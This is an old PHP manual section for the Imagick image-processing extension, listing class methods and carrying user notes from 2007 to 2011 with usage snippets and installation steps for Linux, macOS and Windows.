    • Imagick::setImageCompression — Sets the image compression
    • Imagick::setImageCompressionQuality — Sets the image compression quality
    • Imagick::setImageDelay — Sets the image delay
    • Imagick::setImageDepth — Sets the image depth
    • Imagick::setImageDispose — Sets the image disposal method
    • Imagick::setImageExtent — Sets the image size
    • Imagick::setImageFilename — Sets the filename of a particular image
    • Imagick::setImageFormat — Sets the format of a particular image
    • Imagick::setImageGamma — Sets the image gamma
    • Imagick::setImageGravity — Sets the image gravity
    • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
    • Imagick::setImageIndex — Set the iterator position
    • Imagick::setImageInterlaceScheme — Sets the image compression
    • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
    • Imagick::setImageIterations — Sets the image iterations
    • Imagick::setImageMatte — Sets the image matte channel
    • Imagick::setImageMatteColor — Sets the image matte color
    • Imagick::setImageOpacity — Sets the image opacity level
    • Imagick::setImageOrientation — Sets the image orientation
    • Imagick::setImagePage — Sets the page geometry of the image
    • Imagick::setImageProfile — Adds a named profile to the Imagick object
    • Imagick::setImageProperty — Sets an image property
    • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
    • Imagick::setImageRenderingIntent — Sets the image rendering intent
    • Imagick::setImageResolution — Sets the image resolution
    • Imagick::setImageScene — Sets the image scene
    • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
    • Imagick::setImageType — Sets the image type
    • Imagick::setImageUnits — Sets the image units of resolution
    • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
    • Imagick::setImageWhitePoint — Sets the image chromaticity white point
    • Imagick::setInterlaceScheme — Sets the image compression
    • Imagick::setIteratorIndex — Set the iterator position
    • Imagick::setLastIterator — Sets the Imagick iterator to the last image
    • Imagick::setOption — Set an option
    • Imagick::setPage — Sets the page geometry of the Imagick object
    • Imagick::setPointSize — Sets point size
    • Imagick::setResolution — Sets the image resolution
    • Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes
    • Imagick::setSamplingFactors — Sets the image sampling factors
    • Imagick::setSize — Sets the size of the Imagick object
    • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
    • Imagick::setType — Sets the image type attribute
    • Imagick::shadeImage — Creates a 3D effect
    • Imagick::shadowImage — Simulates an image shadow
    • Imagick::sharpenImage — Sharpens an image
    • Imagick::shaveImage — Shaves pixels from the image edges
    • Imagick::shearImage — Creating a parallelogram
    • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
    • Imagick::sketchImage — Simulates a pencil sketch
    • Imagick::solarizeImage — Applies a solarizing effect to the image
    • Imagick::sparseColorImage — Interpolates colors
    • Imagick::spliceImage — Splices a solid color into the image
    • Imagick::spreadImage — Randomly displaces each pixel in a block
    • Imagick::steganoImage — Hides a digital watermark within the image
    • Imagick::stereoImage — Composites two images
    • Imagick::stripImage — Strips an image of all profiles and comments
    • Imagick::swirlImage — Swirls the pixels about the center of the image
    • Imagick::textureImage — Repeatedly tiles the texture image
    • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
    • Imagick::thumbnailImage — Changes the size of an image
    • Imagick::tintImage — Applies a color vector to each pixel in the image
    • Imagick::transformImage — Convenience method for setting crop size and the image geometry
    • Imagick::transparentPaintImage — Paints pixels transparent
    • Imagick::transposeImage — Creates a vertical mirror image
    • Imagick::transverseImage — Creates a horizontal mirror image
    • Imagick::trimImage — Remove edges from the image
    • Imagick::uniqueImageColors — Discards all but one of any pixel color
    • Imagick::unsharpMaskImage — Sharpens an image
    • Imagick::valid — Checks if the current item is valid
    • Imagick::vignetteImage — Adds vignette filter to the image
    • Imagick::waveImage — Applies wave filter to the image
    • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
    • Imagick::writeImage — Writes an image to the specified filename
    • Imagick::writeImageFile — Writes an image to a filehandle
    • Imagick::writeImages — Writes an image or image sequence
    • Imagick::writeImagesFile — Writes frames to a filehandle
  • ImagickDraw — The ImagickDraw class
    • ImagickDraw::affine — Adjusts the current affine transformation matrix
    • ImagickDraw::annotation — Draws text on the image
    • ImagickDraw::arc — Draws an arc
    • ImagickDraw::bezier — Draws a bezier curve
    • ImagickDraw::circle — Draws a circle
    • ImagickDraw::clear — Clears the ImagickDraw
    • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
    • ImagickDraw::color — Draws color on image
    • ImagickDraw::comment — Adds a comment
    • ImagickDraw::composite — Composites an image onto the current image
    • ImagickDraw::__construct — The ImagickDraw constructor
    • ImagickDraw::destroy — Frees all associated resources
    • ImagickDraw::ellipse — Draws an ellipse on the image
    • ImagickDraw::getClipPath — Obtains the current clipping path ID
    • ImagickDraw::getClipRule — Returns the current polygon fill rule
    • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
    • ImagickDraw::getFillColor — Returns the fill color
    • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
    • ImagickDraw::getFillRule — Returns the fill rule
    • ImagickDraw::getFont — Returns the font
    • ImagickDraw::getFontFamily — Returns the font family
    • ImagickDraw::getFontSize — Returns the font pointsize
    • ImagickDraw::getFontStyle — Returns the font style
    • ImagickDraw::getFontWeight — Returns the font weight
    • ImagickDraw::getGravity — Returns the text placement gravity
    • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
    • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
    • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
    • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
    • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
    • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
    • ImagickDraw::getTextAlignment — Returns the text alignment
    • ImagickDraw::getTextAntialias — Returns the current text antialias setting
    • ImagickDraw::getTextDecoration — Returns the text decoration
    • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
    • ImagickDraw::getTextUnderColor — Returns the text under color
    • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
    • ImagickDraw::line — Draws a line
    • ImagickDraw::matte — Paints on the image's opacity channel
    • ImagickDraw::pathClose — Adds a path element to the current path
    • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
    • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
    • ImagickDraw::pathFinish — Terminates the current path
    • ImagickDraw::pathLineToAbsolute — Draws a line path
    • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
    • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
    • ImagickDraw::pathLineToRelative — Draws a line path
    • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
    • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
    • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
    • ImagickDraw::pathMoveToRelative — Starts a new sub-path
    • ImagickDraw::pathStart — Declares the start of a path drawing list
    • ImagickDraw::point — Draws a point
    • ImagickDraw::polygon — Draws a polygon
    • ImagickDraw::polyline — Draws a polyline
    • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
    • ImagickDraw::popClipPath — Terminates a clip path definition
    • ImagickDraw::popDefs — Terminates a definition list
    • ImagickDraw::popPattern — Terminates a pattern definition
    • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
    • ImagickDraw::pushClipPath — Starts a clip path definition
    • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
    • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
    • ImagickDraw::rectangle — Draws a rectangle
    • ImagickDraw::render — Renders all preceding drawing commands onto the image
    • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • ImagickDraw::roundRectangle — Draws a rounded rectangle
    • ImagickDraw::scale — Adjusts the scaling factor
    • ImagickDraw::setClipPath — Associates a named clipping path with the image
    • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
    • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
    • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
    • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
    • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
    • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
    • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
    • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
    • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
    • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
    • ImagickDraw::setFontWeight — Sets the font weight
    • ImagickDraw::setGravity — Sets the text placement gravity
    • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
    • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
    • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
    • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
    • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
    • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
    • ImagickDraw::setTextAlignment — Specifies a text alignment
    • ImagickDraw::setTextAntialias — Controls whether text is antialiased
    • ImagickDraw::setTextDecoration — Specifies a decoration
    • ImagickDraw::setTextEncoding — Specifies specifies the text code set
    • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
    • ImagickDraw::setVectorGraphics — Sets the vector graphics
    • ImagickDraw::setViewbox — Sets the overall canvas size
    • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
    • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
    • ImagickDraw::translate — Applies a translation to the current coordinate system
  • ImagickPixel — The ImagickPixel class
    • ImagickPixel::clear — Clears resources associated with this object
    • ImagickPixel::__construct — The ImagickPixel constructor
    • ImagickPixel::destroy — Deallocates resources associated with this object
    • ImagickPixel::getColor — Returns the color
    • ImagickPixel::getColorAsString — Returns the color as a string
    • ImagickPixel::getColorCount — Returns the color count associated with this color
    • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
    • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
    • ImagickPixel::isSimilar — Check the distance between this color and another
    • ImagickPixel::setColor — Sets the color
    • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
    • ImagickPixel::setHSL — Sets the normalized HSL color
  • ImagickPixelIterator — The ImagickPixelIterator class
    • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
    • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
    • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
    • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
    • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
    • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
    • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
    • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
    • ImagickPixelIterator::resetIterator — Resets the pixel iterator
    • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
    • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
    • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
    • ImagickPixelIterator::syncIterator — Syncs the pixel iterator

User Contributed Notes

aem at teletype dot ru 30-Nov-2011 03:09
To configure and build imagick extension with phpize, you must first install libmagickwand-dev and libmagickcore-dev.

For example, "sudo apt-get install libmagickwand-dev libmagickcore-dev" and then phpize and ./configure.
Mike Robinson 25-May-2009 06:11
PHP Admins: I realize this could be considered a bug report, but please leave this up as it contains helpful information that can be used until this page is updated correctly.

-------------

Please note that this list is lacking many new methods that are available in the current stable release (and even some older ones). You can view the Imagick changelog by going to http://pecl.php.net/package-changelog.php?package=imagick

As of release version 2.3.0RC2 the following methods not listed here are also available for use:

Currently unstable releases (2.3.0+):

* Imagick::getImageMimeType

* Imagick::writeimagefile

* Imagick::writeimagesfile

* Imagick::resetimagepage

* Imagick::setimageclipmask

* Imagick::getimageclipmask

* Imagick::animateimages

* Imagick::recolorimage

* Imagick::floodfillpaintimage

* Imagick::opaquepaintimage

* Imagick::transparentpaintimage

* Imagick::decipherimage

* Imagick::encipherimage

* Imagick::getimagealphachannel

* Imagick::getimagechanneldistortions

* Imagick::getimagegravity

* Imagick::setimagegravity

* Imagick::remapimage

* Imagick::exportimagepixels

* Imagick::getimagechannelkurtosis

* Imagick::functionimage

* Imagick::importImagePixels

* Imagick::sparseColorImage

* Imagick::deskewImage

* Imagick::segmentImage

* Imagickdraw::gettextkerning

* Imagickdraw::settextkerning

* Imagickdraw::gettextinterwordspacing

* Imagickdraw::gettextinterwordspacing

* ImagickPixel::getColorValueQuantum

* ImagickPixel::setColorValueQuamtum

* ImagickPixel::getIndex

* ImagickPixel::setIndex

Latest stable (2.2.2):

* Imagick::getImageChannelRange

* Imagick::setImageAlphaChannel

* Imagick::mergeImageLayers()

* Imagick::setPointsize()

* Imagick::getPointsize()
Eero Niemi (eero at eero dot info) 08-Apr-2008 07:06
To load image (usually vector image, like PDF) with larger resolution than image's default is, you have to set resolution before reading the file, like this:

<?php
$im = new Imagick();
$im->setResolution( 300, 300 );
$im->readImage( "test.pdf" );
?>
mlong-php at mlong dot us 24-Oct-2007 01:11
The fit functionality of thumbnailImage doesn't work as one would anticipate. Instead, use this to make a thumbnail that has max of 200x82:

  // Create thumbnail max of 200x82
  $width=$im->getImageWidth();
  if ($width > 200) { $im->thumbnailImage(200,null,0); }

  $height=$im->getImageHeight();
  if ($height > 82) { $im->thumbnailImage(null,82,0); }
mlong-php at mlong dot us 24-Oct-2007 11:46
Here is an example on how to take an image that is already in a string (say, from a database), and resize it, add a border, and print it out. I use this for showing reseller logos

  // Decode image from base64
  $image=base64_decode($imagedata);

  // Create Imagick object
  $im = new Imagick();

  // Convert image into Imagick
  $im->readimageblob($image);

  // Create thumbnail max of 200x82
  $im->thumbnailImage(200,82,true);

  // Add a subtle border
  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);

  // Output the image
  $output = $im->getimageblob();
  $outputtype = $im->getFormat();

  header("Content-type: $outputtype");
  echo $output;
gmail dot com at james dot ellis 07-Oct-2007 04:41
In case anyone is wondering about some examples for Imagick usage, take a look at Mikko Koppanen's blog at http://valokuva.org/?cat=1.
GmagickPixel::setcolorvalue
Introduction
Image Processing and Generation


Introduction

Imagick is a native php extension to create and modify images using the ImageMagick API.

ImageMagick® is a software suite to create, edit, and compose bitmap images.. It can read, convert and write images in a variety of formats (over 100) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, and TIFF.

Copyright 1999-2007 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.

User Contributed Notes

There are no user contributed notes for this page.
ImageMagick
Installing/Configuring
ImageMagick


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

admin at pankajgrover dot co dot cc 19-Oct-2011 12:30
Simple way to install ImageMagick on your linux machine(RHEL5,Cent OS 5)

#yum install ImageMagick*
#pecl install imagick sometimes you may have ask to install gcc compiler. if so execute #yum install gcc*
added the extension on php.ini
#echo "extension=imagick.so" >> /etc/php.ini
#service httpd restart
djcox99 at googlemail dot com 05-Jan-2011 04:48
I have php 5.3.1 running on apache on windows (with xampp)
to get this working i installed the appropriate image magick from here http://imagemagick.org/script/binary-releases.php#windows

Then i needed the php_imagick.dll for vc6 (because im on apache not iis).

After a bit of searching i found someone hosting it here :
http://www.sk89q.com/2010/03/vc6-windows-binaries-for-imagick-2-3-0/

Hope this helps ^^
matija kancijan - kancija[]gmail dot com 01-Sep-2010 02:36
it is important to install correct version of Visual C++ redistributable Package.

for ImageMagick-6.5.8-10-Q16-windows-dll.exe -
Visual C++ 2008 Redistributable Package

http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf
mkancija at gmail dot com 12-Jan-2010 06:30
To install IMagick on windows xp (php 5.2.x)

1.) download and install ImageMagick-6.5.8-7 Q16-windows-dll.exe
http://www.imagemagick.org/download/binaries/ ImageMagick-6.5.8-7-Q16-windows-dll.exe

2.) download php_imagick_dyn-Q16.dll from:
http://valokuva.org/outside-blog-content/ imagick-windows-builds/080709/

copy dll to [PHP]/extension dir and rename it to php_imagick.dll

3.) You have to edit your php.ini file and add new extension

"extension=php_imagick.dll"

4.) Save ini file and restart apache server.

(If necessary, restart your windows)

5.) phpinfo() should show imagick enabled.
William Sze 06-Aug-2009 12:47
After 2 hours of looking for help from different documentation & sites, I found out none of them are complete solution.  So, I summary my instruction here:

1) yum install php-devel
2) cd /usr
3) wget http://pear.php.net/go-pear
4) php go-pear
5) See the following line in /etc/php.ini [include_path=".:/usr/PEAR"]
6) pecl install imagick
7) Add the following line in /etc/php.ini [extension=imagick.so]
8) service httpd restart

Hopefully, I can save other engineer effort & time.... Good luck!
acliyanarachchi at gmail dot com 12-Mar-2009 04:11
If you have used lampp first copy imagick.so from /usr/lib/php5/20060613+lfs/imagick.so path and paste it to php lib.(/opt/lampp/lib/php/extensions/no-debug-non-zts-20060613)
Then edit your php.ini and add extension=imagick.so
ynzhang from lakeheadu canada 16-Feb-2009 05:57
imagick 2.2.2 might have a problem loading in PHP 5.3 by giving following error at start-up:

PHP Warning:  PHP Startup: Unable to load dynamic library '.../imagick.so' - .../imagick.so: undefined symbol: XStringListToTextProperty in Unknown on line 0

in this case, revert to PHP 5.2.8 and imagick-2.2.0 will work just fine.
nonproffessional at clockworkgeek dot com 15-Oct-2008 03:09
I too had the error "Please provide a path to MagickWand-config or Wand-config program." when installing on linux (in this case CentOS aka Red Hat).

The simple solution was to ensure "ImageMagick-devel" and NOT "ImageMagick" package was in place. Next comes the standard command:
pecl install imagick

Lastly, and as per the otherwise flawless instructions, edit php.ini to include:
extension=imagick.so
marcel dot ouellette at gmail dot com 02-Sep-2008 10:38
For anyone attempting to install the binaries on windows xp, don't waste your time.  You'll need to install this on windows 2003 Server (and up) or Windows Vista since there are dependences (msvcr80.dll) that will require it.
colnector is from domain colnect.com 13-Jul-2008 05:10
Windows installation is a bit more tricky since "pecl install imagick" does NOT work properly.

Here's how I installed it:
1/ Install ImageMagick software http://www.imagemagick.org/script/binary-releases.php#windows
2/ Download pecl-5.2-dev.zip (choose the version relevant to your PHP) from http://snaps.php.net/
3/ Copy php_imagick.dll from the archive you've downloaded to your PHP extention folder.
4/ Add the following line to php.ini (in the exntentions section):
extension=php_imagick.dll
5/ Restart your server
6/ Try the example script to see all went well

Good luck :)
james dot ellis at gmail dot com 08-Jun-2008 06:21
To install the latest Imagick from PECL on an Ubuntu variant system, assuming your already have PHP5 and Apache2 installed, do the following.
You need your root password, have sudo privileges and be able to run commands from a shell (e.g via Konsole)

1. $ sudo aptitude install php-pear imagemagick php5-dev libmagick9-dev
2. do *not* install php5-imagick as you will install a later version from PECL
3. libmagick9-dev may install a whole load of dependencies. This package provides the Wand-config program and avoids the error on pecl install "configure: error: not found. Please provide a path to MagickWand-config or Wand-config program."
4. $ sudo pecl install Imagick
5. Hit enter to autodetect the "Imagemagick installation" prefix

You should see some compilation messages, noting any errors that stop the Imagick build.

When completed successfully, the following console message should appear

Build process completed successfully
Installing '/usr/lib/php5/20060613+lfs/imagick.so'
install ok: channel://pecl.php.net/imagick-2.2.0b2

Now for loading it when the web server starts/restarts
6. $ sudo kate /etc/php5/apache2/conf.d/imagick.ini
7. enter extension=imagick.so and save
8. $ sudo apache2ctl configtest
9. $ sudo apache2ctl restart

Notes:
* You can use any apt client e.g apt-get to install packages
* If you want beta Imagick then:
$ sudo pear config-set preferred_state beta
* You can now upgrade Imagick as new versions are made available in PECL the same way PEAR updates are handled.

Hope this helps some of you...
Introduction
Requirements
ImageMagick


Requirements

Installation requirements on Windows

Version information does not differ from that above. There are binaries available from http://www.imagemagick.org/ so that you can load this extension on Windows without need for a compiler.

Installation requirements on other platforms

PHP >= 5.1.3 and ImageMagick >= 6.2.4 is required. The amount of formats supported is by Imagick is entirely dependent upon the amount of formats supported by your ImageMagick installation. For example, Imagemagick requires ghostscript to conduct PDF operations.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/imagick.

Note: The official name of this extension is imagick.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

vbsaltydog 30-Jul-2010 08:31
I could not install via PECL or compiling from source because of an error from line 3339 of the configure file generated by phpize so I looked at the configure file at line 3339 and it was just a check for the PHP version using the php-config command with the --vernum switch which was not supported by my PHP version so I commented out that check from the configure file and then it would configure, compile, and install.

After installation, it put the shared object file in my php extension modules directory so I added an entry to my /etc/php.d directory to load the extension file and restarted apache and the imagick section is present in my info.php output.
Martin Vincent 22-Jan-2010 08:32
For PHP 5.3 I have read that these versions should work:
ImageMagick-6.5.9-0-Q16-windows-dll.exe
imagick-2.3.0-dev/vc9_nts/php_imagick.dll
scottchu dot tw at gmail dot com 22-Dec-2009 07:17
PECL install imagick contantly fails due to the server is behind some firewall, so one may try 'phpize' way to install.

However, someone like me who doesn't want to use default options may experience thru failure situation. And if you google thru the cloud, you may find many people tell you to rpm imagick-devel with yum or apt. That does solve the problem.

However, In my case, my server already has php 5.3.1 installed under /usr/lcal/php & the linux doesn't have yum or apt service. Furthermore, I just installed imagemagick yesterday (Also quite a battle =.=) under /usr/local/imk

(note: You may see that I don't like default options, I like to install each package under different dir under /usr/local).

Today, I want to install imagick, so this is what I do:

1> add /usr/local/php/bin & /usr/local/imk/bin to path.

2> download imagick source of intended version (I use 3.0.b1).

3> enter that dir & issue 'phpize'.

(note:I got a habit to issue './configure --help > oo' & 'view oo' to see all the options first before installation)

4> 'vi configure' & find LIBS, then add '-l/usr/local/imk/lib' after it.

5> issue './configure --prefix=/usr/local/ik4php' --with-imagick='/usr/local/imk'.

(note: with-imagick points out where you install the imagicmagick package before, this name 'imagick'  is not appropriate since it incurs ambiguity with imagick for php =.=)

6> after it's done, issue 'make'.

7> after make is done, issue 'make install'.

(note:the last two output lines will tell you where to find the generated shared object library file: imagick.so)

8> go to that dir & copy imagick.so to the extension dir defined in php.ini.

(note: in my case it's /usr/local/php/ext)

9> edit php.ini to add 'extension=imagick.so' line.

10> stop & start apache or just restart apache.

(note: if you have tomcat + apache + jk module installation style as mine, shutdown tomcat, stop apache, then startup tomcat first, then start apache)

If you have similar server environment & situation as mine, hope this article helps you.

Scott Chu @ Taiwan
gmorris at ilogsystems dot com 20-Oct-2009 11:11
I struggled to get imagick installed for mamp and dug high and low. I
was left with the impression that so many struggle with opensource and
 this type of install that it is almost a right of passage. For my part, I
 managed to find two threads that helped me and the steps work. A lot
 of people talked about macports and pear installs which are fine(I tried
 them), but 1) they sometimes don't get the latest version of what
 you need and 2) I can't tell what they're doing and where they're doing it.

It's much easier to me to download the stuff where i want it and be
sure of what i got!

First of all download a tar image of the ImageMagick install from here:
sourceforge.net/projects/imagemagick/files/

Unpack it and then from terminal issue the following commands in
 quotes:
1.  "cd ImageMagick-6.5.7" - go where you placed the folder

2.  "./configure"

3.  "make"

If ImageMagick configured and compiled without complaint, you are
 ready to install it on your system. Administrator privileges are
 required to install. To install, type the following command in terminal:

1.  "sudo make install"

To check your ImageMagick installation enter the following command
 in terminal:

1. "make check"

Remember all commands are entered into terminal in the directory in
 which you unzipped your downloaded ImageMagick tar file. (the latest
 version of which at this time of writing is ImageMagick-6.5.7.)

Next we need to install Imagick.so which is what we want for PHP.

First of all we need to get the right file and we can get that from here:

pecl.php.net/package/imagick/download

At current writing the latest stable version is imagick-2.3.0.

Unpack the tar file and then enter the commands in quotes in terminal:

1.  "cd imagick-2.2.3" - go where you placed the folder

2.   "phpize"

3.   "./configure --with-imagick=/opt/local"

4.   "make"

5.    "make install"

If you look at the bottom of the output, it will tell you where it has
placed the imagick.so module. For me it was placed in:

/imagick-2.3.0/modules

which is where i had unpacked the downloaded imagick-2.3.0 file.

Then copy it into your MAMP PHP extensions folder.

For me it was:
/Applications/MAMP/bin/php5/lib/php/extensions/no-debug-non-zts
-20050922/

Then, for PHP to honor the the extension, add the following line to the
 extensions section of your php.ini file:

extension=imagick.so

You should now have a working imagick extension with all of the
 resources for php found here:
php.net/manual/en/book.imagick.php

I will not claim credit for anyone for whom this works, that goes to:

Imagemagick who posted instructions here:
www.imagemagick.org/script/install-source.php

and Wallance who posted his experience here:
www.daniweb.com/forums/thread194181.html#

I really hope this helps others because developing this stuff is
frustrating enough without spending hours or even days just trying to set
 up the development environment so you can use the tools.
elia weiss 12-Sep-2009 12:33
if you get the following error on windows (vista):
'The application has failed to start because its side-by-side
configuration is incorrect. Please see the application event log
 for more detail.'

then install:
Visual C++ 2008 Redistributable Package (x86)
from:
http://www.microsoft.com/downloads
/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2

see:
http://www.imagemagick.org/script/binary-releases.php#windows
for more info (scroll to the end of the page)
Ultimater at gmail dot com 28-Jul-2009 07:41
Installing Imagick on Windows isn't too hard.  I followed the guide at http://valokuva.org/?page_id=50 and managed to install it without too much sweat.

1. Visit http://imagemagick.org/script/binary-releases.php#windows and download "ImageMagick-6.5.4-6-Q16-windows-dll.exe"

2. Pick a version at http://valokuva.org/outside-blog-content/imagick-windows-builds/ The directories are in YYMMDD format. The latest version that worked for me was 2008-Jul-09 so download 080709/php_imagick_dyn-Q16.dll respectively.

3. Rename php_imagick_dyn-Q16.dll to "php_imagick.dll" and move it to php/ext

4. open php.ini, and make sure
extension=php_imagick.dll
appears in the file and uncommented then resave.
Note: phpinfo() will tell you the location of the loaded php.ini file.

5. Re-start your webserver.

That's it, a simple test will tell you if your installation was successful.
<?php
$im = new Imagick();
$im->newPseudoImage(100, 100, "magick:rose");
$im->setImageFormat("png");
$im->roundCorners(5,3);
$type=$im->getFormat();
header("Content-type: $type");
echo $im->getimageblob();
?>
Anonymous 28-Apr-2009 12:54
Installation of Imagick on Windows:
-------------------------------------------

Here an important hint for all who want to use Imagick:

First of all: Forget this PECL.
It is for Linux only.

In the old discussion boards I read that some years ago there was a DLL for PHP available on the FTP server of imagemagick.org. Once upon a time there has also been a CHM installation help file on FTP which also has been removed. The only thing you find today on the FTP server is a ridiculous text file:
ftp://ftp.imagemagick.org/pub/ImageMagick/php/windows/README.txt
This file contains 3 links:
2 links of them are dead meanwhile.
The only working one is this:
www.dirk.sh/dirk/magickwand
a page of a chinese guy who offers a MagickWand.dll for PHP of 4 MB size (Q8, static compiled)
But he discontinoued support since 2007.
There is no installation manual available.

He only writes:
"Please ref watson's post about how to install on Windows:
redux.imagemagick.org/discourse-server/viewtopic.php?t=4708"

This page which uses stupid style sheet settings like "font-size:11%" which make parts of the text unreadable also was no help.

At the end all manuals say the same:
Copy the DLL into the "ext" folder and add the entry to the php.ini:
extension=dllname
restart the Apache and you are done.

But this is not true: it simply does NOT work on Xampp.
In a DOS box entering
PHP.exe -i > Info.txt
prints all installed modules.
You also find:

"magickwand
MagickWand Backend Library => ImageMagick
MagickWand Extension Version => 1.0.5
ImageMagick support => enabled
ImageMagick version => ImageMagick 6.3.5 09/21/07 Q8 www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) => 255
MagickWand supported image formats => A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, etc.."

But after executing phpinfo() MagickWand does NOT appear under the installed extensions. Strange!!
And the Wand commands do NOT function like:
$resource = NewMagickWand();

I also found a php_imagick.dll of 65 kB size in the internet which also does not work. It does not even appear in
PHP -i.

There is no error in the Apache logfile!

I read all I could find in the internet and wasted 2 entire days, without success, now I'm sick of Imagick and I absolutely cannot understand why the guys of imagemagick.org don't offer a ready compiled dll with an installation manual anymore?

In general the Imagick page seems not very trustworthy:
On the download page they do never explain what is the difference between the several versions. What doess static mean?
